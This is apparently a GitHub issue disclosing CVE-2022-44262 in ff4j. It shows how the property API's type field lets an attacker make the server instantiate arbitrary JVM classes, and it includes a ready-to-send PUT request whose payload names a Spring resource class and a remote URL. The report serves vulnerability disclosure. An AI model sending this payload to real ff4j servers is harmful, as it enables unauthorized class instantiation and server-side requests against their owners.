CVE-2022-44262: CVE-2022-44262 · Issue #624 · ff4j/ff4j

ff4j can be use to call any constructors in the project or jvm.
it would raise an error after constructor call and give an error in response.

File: https://github.com/ff4j/ff4j/blob/master/ff4j-core/src/main/java/org/ff4j/property/util/PropertyFactory.java
Function: public static Property<?> createProperty(String pName, String pType, String pValue, String desc, Set < String > fixedValues)
Line:163 and 164


git clone https://github.com/ff4j/ff4j-samples.git
cd spring-boot-2x/ff4j-sample-springboot2x
mvn spring-boot:run


PUT /api/ff4j/propertyStore/properties/test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
accept: application/json
Content-Length: 111

{ "name": "test", "description": null, "type": "org.springframework.core.io.support.ResourcePropertySource", "value": "http://example/index.html"}